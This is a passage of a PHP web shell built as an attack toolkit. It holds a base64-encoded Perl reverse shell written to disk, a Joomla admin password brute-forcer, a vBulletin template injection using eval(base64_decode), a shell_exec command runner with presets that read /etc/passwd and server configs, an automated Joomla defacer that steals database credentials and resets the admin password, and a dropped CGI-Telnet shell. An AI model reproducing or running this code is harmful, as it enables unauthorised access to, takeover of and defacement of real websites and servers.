MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
YXRhY2hlZFxuXG4iOw==';
$file = fopen("dc.pl" ,"w+");
$write = fwrite ($file ,base64_decode($netcatshell));
fclose($file);
chmod("dc.pl",0755);
echo "<iframe src=cgitelnet1/izo.cin width=96% height=90% frameborder=0></iframe>
</div>"; }
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jbrute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jbrute" method="post">
<meta name="author" content="RetnOHacK" />
<meta name="keywords" content="Joomla, Bruter, JoomlaBruter, JoomlaBruterForce, JoomlaBruterForceOnline" />
<meta name="description" content="RetnOHacK #Procoder'z Team Albanian" />
<center>
</br></br>
<center><b><font color="lime">+--=[ Joomla Bruter Force By Mr.HaurgeulisX196 ]=--+</font></b><br /><br />
<form method="post" action="" enctype="multipart/form-data">
<table class="tabnet" width="38%" border="0"><center>
<th colspan="2">Joomla Brute Force</th>
<tr><td><p ><font class="d1">User :</font></th>
<input class="inputz" type='text' name="usr" value="admin" size="15"> </font></center><br /><br /></p>
</td></tr>
<tr><td><font class="">Sites list :</font>
</td><td><font class="" >Pass list :</font></td></tr>
<tr>
<td>
<textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>
</td><td>
<textarea name="w0rds" style="background:black;" cols="40" rows="13" >
admin
123456
password
102030
123123
12345
123456789
pass
test
admin123
demo
!@#$%^
</textarea>
</td></tr><center><tr><td>
<font >
<input class="inputzbut" type="submit" name="x" value="start" id="d4">
</font></td></tr><br>
tanks for procoder'z team albanian<br></center></table>
</form></center>
<?php
@set_time_limit(0);
if($_POST['x']){
echo "<hr>";
$sites = explode("
",$_POST["sites"]); // Get Sites
$w0rds = explode("
",$_POST["w0rds"]); // Get w0rdLiSt
$Attack = new Joomla_brute_Force(); // Active Class
foreach($w0rds as $pwd){
foreach($sites as $site){
$Attack->check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd)); // Brute :D
flush();flush();
}
}
}
# Class & Function'z
function txt_cln($value){ return str_replace(array("
","
"),"",$value); }
class Joomla_brute_Force{
public function check_it($site,$user,$pass){ // print result
if(eregi('com_config',$this->post($site,$user,$pass))){
echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href='$site/administrator/index.php'>$site/administrator/index.php</a></b></span><BR>";
$f = fopen("Result.txt","a+"); fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php
"); fclose($f);
flush();
}else{ echo "# Failed : $user:$pass -> $site<BR>"; flush();}
}
public function post($site,$user,$pass){ // Post -> user & pass
$token = $this->extract_token($site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'&passwd='.$pass.'&lang=en-GB&option=com_login&task=login&'.$token.'=1');
curl_setopt($curl,CURLOPT_TIMEOUT,20);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
public function extract_token($site){ // get token from source for -> function post
$source = $this->get_source($site);
preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token);
return $token[1][0];
}
public function get_source($site){ // get source for -> function extract_token
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_TIMEOUT,20);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'vb'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=vb" method="post">
<br><br><br><div align="center">
<H2><span style="font-weight: 400"><font face="Trebuchet MS" size="4">
<b><font color="white">+--=[ VB Index Changer By Mr.HaurgeulisX1964 ]=--+</font></b>
</div><br>
<?php
if(empty($_POST['index'])){
echo "<center><FORM method=\"POST\">";
echo "<table class=\"tabnet\">
<th colspan=\"2\">Vb Index Changer</th>
<tr><td>host </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"localhost\" value=\"localhost\"></td></tr>
<tr><td>database </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"database\" value=\"forum_vb\"></td></tr>
<tr><td>username </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"username\" value=\"user_vb\"></td></tr>
<tr><td>password </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"password\" value=\"vb\"></td></tr>
</tr>
<th colspan=\"2\">Your Index Code</th></table><table class=\"tabnet\">
<TEXTAREA name=\"index\" rows=\"13\" style=\"background:black\" border=\"1\" cols=\"69\" name=\"code\">your index code</TEXTAREA><br>
<INPUT class=\"inputzbut\" type=\"submit\" value=\"setting\" name=\"send\">
</FORM></table></center>";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$index = $_POST['index'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$index=str_replace("\'","'",$index);
$set_index = "{\${eval(base64_decode(\'";
$set_index .= base64_encode("echo \"$index\";");
$set_index .= "\'))}}{\${exit()}}</textarea>";
echo("UPDATE template SET template ='".$set_index."' ") ;
$ok=@mysql_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());
if($ok){
echo "!! update finish !!<br><br>";
}
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=bypass" method="post">
<center/><br/><b><font color=white>-=[ Command Bypass Exploit By Mr.HaurgeulisX196 ]=-</font></b><br>
<?php
print_r('
<pre>
<form method="POST" action="">
<b><font color=white><b><font color="white">Command :=) </font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">
</form>
<form method="POST" action=""><strong><b><font color="white">Menu Bypass :=) </font></strong><select name="liz0" size="1" class="inputz">
<option value="cat /etc/passwd">/etc/passwd</option>
<option value="netstat -an | grep -i listen">netstat</option>
<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
<option value="cat /etc/hosts">/etc/hosts</option>
<option value="cat /etc/named.conf">/etc/named.conf</option>
<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
</select> <input type="submit" class="inputzbut" value="Gö">
</form>
</pre>
');
ini_restore("safe_mode");
ini_restore("open_basedir");
$liz0=shell_exec($_POST[baba]);
$liz0zim=shell_exec($_POST[liz0]);
$uid=shell_exec('id');
$server=shell_exec('uname -a');
echo "<pre><h4>";
echo $liz0;
echo $liz0zim;
echo "</h4></pre>";
"</div>";
?>
<?php }
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jodexer'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jodexer" method="post">
<?php
function randomt() {
$chars = "abcdefghijkmnopqrstuvwxyz023456789";
srand((double)microtime()*1000000);
$i = 0;
$pass = '' ;
while ($i <= 7) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
}
return $pass;
}
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
{
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
$ar=trim($ar1[0]);
return $ar;
}
if ($_POST['form_action'])
{
$text=file_get_contents($_POST['file']);
$username=entre2v2($text,"public $user = '","';");
$password=entre2v2($text,"public $password = ', '","';");
$dbname=entre2v2($text,"public $db = ', '","';");
$dbprefix=entre2v2($text,"public $dbprefix = '","';");
$site_url=($_POST['site_url']);
$h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
$co=randomt();
/*
echo($username);
echo("<br>");
echo($password);
echo("<br>");
echo($dbname);
echo("<br>");
echo($dbprefix);
echo("<br>");
*/
$co=randomt();
if ($_POST['form_action'])
{
$h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
$link=mysql_connect("dzoed.druknet.bt",$username,$password) ;
mysql_select_db($dbname,$link) ;
$tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
echo("<br>[+] Changing admin password to 123456789");
$req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
if ( $req )
{
#################################################################
###################### V1.6 ######################
#################################################################
$req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
$data = mysql_fetch_array($req);
$template_name=$data["template"];
$req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
$data = mysql_fetch_array($req);
$template_id=$data["extension_id"];
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
///////////////////////////
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,"com_config");
if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[~] Login Successful");
}
///////////////////////////
$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
if($hidden2) {
echo("<br>[+] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
exit;
}
echo("<br>[*] Updating Index.php .....");
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,'<dd class="message message">');
if($pos === false) {
echo("<br>[-] Updating Index.php Error");
exit;
}
else {
echo("<br>[~] index.php successfully saved");
}
#################################################################
###################### V1.6 END ######################
#################################################################
}
else
{
#################################################################
###################### V1.5 ######################
#################################################################
$req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
$data = mysql_fetch_array($req);
$template_name=$data["template"];
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,"com_config");
if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[+] Login Successful");
}
///////////////////////////
$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
if($hidden2) {
echo("<br>[~] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
}
echo("<br>[*] Updating Index.php .....");
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,'<dd class="message message fade">');
if($pos === false) {
echo("<br>[-] Updating Index.php Error");
exit;
}
else {
echo("<br>[~] index.php successfully saved");
}
#################################################################
###################### V1.5 END ######################
#################################################################
}
}
function randomt() {
$chars = "abcdefghijkmnopqrstuvwxyz023456789";
srand((double)microtime()*1000000);
$i = 0;
$pass = '' ;
while ($i <= 7) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
}
return $pass;
}
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
{
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
$ar=trim($ar1[0]);
return $ar;
}
}?>
<center><br><br>
<font color="white" size='+3'><b>+--=[ Automatic Joomla Index Changer By Mr.HaurgeulisX196 ]=--+</b></font><br><br>
</center>
<center><b>
Link of symlink configuration.php of Joomla<br></b>
<FORM action="" method="post">
<input type="hidden" name="form_action" value="1">
<input type="text" class="inputz" size="60" name="file" value="http://site.com/sym/home/user/public_html/configuration.php">
<br>
<br><b>
Admin Control panel url</b><br>
<input type="text" class="inputz" size="40" name="site_url" value="http://site/administrator"><br>
<br><b>
Your Index Code</b>
<br>
<TEXTAREA rows="20" align="center" style="background:black" cols="120" name="code"> your index code
</TEXTAREA>
<br>
<INPUT class="inputzbut" type="submit" value="Lets Go Deface !!!" name="Submit">
</FORM>
</center>
<script language=JavaScript>m='%09%09%09%09%09%09%09%3C/td%3E%0A%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%3C/table%3E%0A%09%09%09%09%3C/td%3E%0A%3C/html%3E';d=unescape(m);document.write(d);</script>
<?php
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi2012')) {
echo "<center/><br/><b>
+--==[ CGI-Telnet Version 1.3 By Mr.HaurgeulisX196 ]==--+
</b><br><br>";
mkdir('cgi2012', 0755);
chdir('cgi2012');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tL